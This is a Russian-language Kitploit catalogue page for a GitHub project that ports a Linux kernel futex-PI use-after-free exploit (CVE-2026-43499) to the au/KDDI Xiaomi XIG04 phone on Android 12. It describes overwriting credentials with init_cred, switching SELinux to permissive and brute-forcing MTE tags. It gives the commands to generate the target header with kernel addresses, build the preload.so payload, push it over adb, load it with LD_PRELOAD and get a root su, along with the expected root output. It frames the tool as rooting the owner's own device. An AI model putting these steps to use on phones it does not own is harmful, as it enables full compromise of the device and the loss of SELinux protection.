Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-43499-aristotle | Kitploit
Инструменты/GitHubGitHub/soralis0912/cve-2026-43499-aristotle
Безопасность AndroidПовышение привилегийФреймворки для эксплойтовАнализ уязвимостейЭксплуатацияМобильная безопасностьЭксплуатация Бинарных Файлов
GitHubsoralis0912/cve-2026-43499-aristotle

CVE-2026-43499-aristotle

Репозиторий
3128 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-43499 — aristotle (au/KDDI Xiaomi XIG04)

Локальное повышение привилегий (tmp-root) для au/KDDI Xiaomi «aristotle» (XIG04) на Android 12 через CVE-2026-43499. Это примитив рутинга для владельца устройства: он рутит ваш собственный телефон (например, чтобы снова включить ADB, когда параметры разработчика недоступны).

Это порт aristotle апстрим-реализации: https://github.com/x-spy/CVE-2026-43499-popsicle — которая нацелена на Xiaomi 17 / Pro / Ultra (popsicle, Snapdragon, Android 16, ядро 6.12.23). Вся заслуга за технику эксплуатации принадлежит апстриму; этот форк лишь перенацеливает её на другое устройство и поколение ядра.

Область применения: ваш собственный XIG04 с прошивкой Xiaomi/XIG04_jp_kdi/XIG04:12/SP1A.210812.016/V14.0.3.0.TMFJPKD. Это не универсальный и не удалённый эксплойт.

Цель

root@kitploit:~
device  : aristotle (au/KDDI XIG04), MediaTek, Android 12
kernel  : 5.10.136-android12-9-00020-gc9f59ef34367-ab9585114  (VA=39, 4K pages, KASLR)

Ошибка

CVE-2026-43499 — это use-after-free в пути Futex-PI ядра Linux: remove_waiter() в kernel/locking/rtmutex.c во время отката proxy-локировки из futex_requeue() работает с current вместо waiter::task, оставляя висячий pi_blocked_on. Это старая, долгоживущая ошибка (затрагивает Linux 2.6.39 – 6.18.x), поэтому используемое здесь ядро 5.10.136 попадает в диапазон (CONFIG_FUTEX_PI=y, CONFIG_RT_MUTEXES=y). Эксплойт использует data-only «direct-root» (подмена cred → init_cred, перевод SELinux из enforcing в permissive) и перебором подбирает теги MTE, чтобы обойти усиленную защиту устройства (KASAN_HW_TAGS, MTE, , ).

Что отличается от апстрима (popsicle → aristotle)

Апстрим нацелен на Snapdragon / Android 16 / ядро 6.12; aristotle — это MediaTek / Android 12 / ядро 5.10, поэтому порт заново выводит всё, что зависит от конкретного устройства:

  • rt_mutex_waiter — это старая плоская раскладка 5.10 (нет вложенного rt_waiter_node, нет wake_state/ww_ctx). Таблицы фейковых waiter в source/src/{slide,fops}.c и source/src/util.c пересобраны с 13 слов до 10.
  • Нет xbl_config. KASLR обходится динамически (утечка информации о ядре в slide.c); две физические константы, которые апстрим взял из Qualcomm XBL, заменены статическим базовым адресом DRAM (0x40000000, из device tree) плюс динамическими memstart_addr / kimage_voffset.
  • В этом ядре нет BTF, поэтому смещения структур восстанавливаются дизассемблированием и подставляются, а не читаются из BTF.
  • Все смещения, RVA и якоря KASLR были измерены именно для этого ядра — см. ARISTOTLE_CVE43499_PORT.md.

Генерация целевого заголовочного файла

Измеренный source/src/target.h для XIG04 уже закоммичен, так что можно сразу собирать. Чтобы перегенерировать его из boot-образа, используйте генератор aristotle (без --xbl-config; он выдаёт RVA memstart_addr/kimage_voffset для динамического использования):

root@kitploit:~
python3 gen_aristotle_target.py \
  --boot boot.img \
  --pselect-shift 0 \
  --loggers 0xffffffc012771380 \
  --boot-id-data 0xffffffc012886cf8 \
  --kernel-phys-load 0x40080000 \
  -o source/src/target.h

(Три якоря и kernel-phys-load — это значения, зашитые в закоммиченный заголовочный файл; о том, как они были получены, см. ARISTOTLE_CVE43499_PORT.md.)

Сборка

Требуются Python 3 и Android NDK (r29). Обязателен API=31, чтобы пейлоад загружался на Android 12:

root@kitploit:~
make -C source clean preload API=31

Если NDK не определяется автоматически:

root@kitploit:~
NDK_ROOT=/path/to/android-ndk make -C source clean preload API=31

Конечный артефакт:

root@kitploit:~
source/build/bin/preload.so

Запуск

root@kitploit:~
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'

При успехе:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0

preload.so содержит и самостоятельно устанавливает собственный клиент и демон su при загрузке, поэтому отдельный бинарник su не нужен.

Статус: порт завершён по коду по результатам статического анализа, но ещё не проверен на реальном устройстве. Сначала проверьте срабатывание краша, затем рут — на своём собственном устройстве. Параметры настройки, зависящие от ядра (MM_ORDER, P0_KERNEL_PHYS_LOAD, поведение плоского waiter), перечислены в ARISTOTLE_CVE43499_PORT.md.

Скачать инструмент
CFI
SCS